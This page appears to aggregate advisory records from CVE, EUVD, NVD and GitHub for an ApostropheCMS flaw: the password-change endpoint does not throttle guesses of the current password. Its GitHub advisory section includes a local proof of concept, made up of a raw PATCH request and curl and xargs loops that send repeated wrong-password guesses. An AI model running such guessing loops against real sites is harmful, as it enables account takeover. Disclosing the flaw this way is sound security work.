ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-113710
PublishedApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.
- Source published
- 20 Oct 2026 17:46:09 UTC
- Source modified
- 21 Oct 2026 15:53:11 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
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CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
euvd · EUVD-2026-105221
PublishedApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 20, 2026, 5:46:09 PM
dateUpdated: Oct 21, 2026, 3:53:11 PM
- Source published
- Oct 20, 2026, 5:46:09 PM (timezone not stated)
- Source modified
- Oct 21, 2026, 3:53:11 PM (timezone not stated)
- Observed here
- 7 Nov 2026 04:34:47 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
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EUVD CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
nvd · CVE-2026-113710
PublishedApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-307
Original publisher date fields
published: 2026-10-20T18:17:21.147
lastModified: 2026-10-21T16:17:25.130
- Source published
- 20 Oct 2026 18:17:21 UTC
- Source modified
- 21 Oct 2026 16:17:25 UTC
- Observed here
- 25 Oct 2026 05:17:18 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 5.9 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
osv · GHSA-653j-g8j7-gh54
Published**Summary** The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. **Exact source path** packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664 **The password-change route is:** PATCH /api/v1/@apostrophecms/settings/password **The route calls the password verifier directly through:** await self.handleProtectedSubform(req, subform, req.body ); **The password verification path is:** packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542 **async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }** **The verifier itself does not increment the login-attempt cache or enforce a delay:** packages/apostrophe/modules/@apostrophecms/user/index.js:412-487 **By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:** packages/apostrophe/modules/@apostrophecms/login/index.js:831-929 **Local PoC** The test used a disposable authenticated guest session against: Request: ``` PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-session> Content-Type: application/json { "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" } ``` **Equivalent command:** ``` for i in 1 2 3 4 5; do time curl -i -sS \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{ "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" }' done ``` **Observed response** All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" } Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status. seq 1 20 | xargs -P 20 -I{} sh -c \ "curl --max-time 15 -sS \ -o /tmp/password-attempt-{}.body \ -w '%{http_code}\\n' \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'" Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.
- Source published
- 20 Oct 2026 18:17:50 UTC
- Source modified
- 20 Oct 2026 18:30:04 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
Publisher rating · MODERATE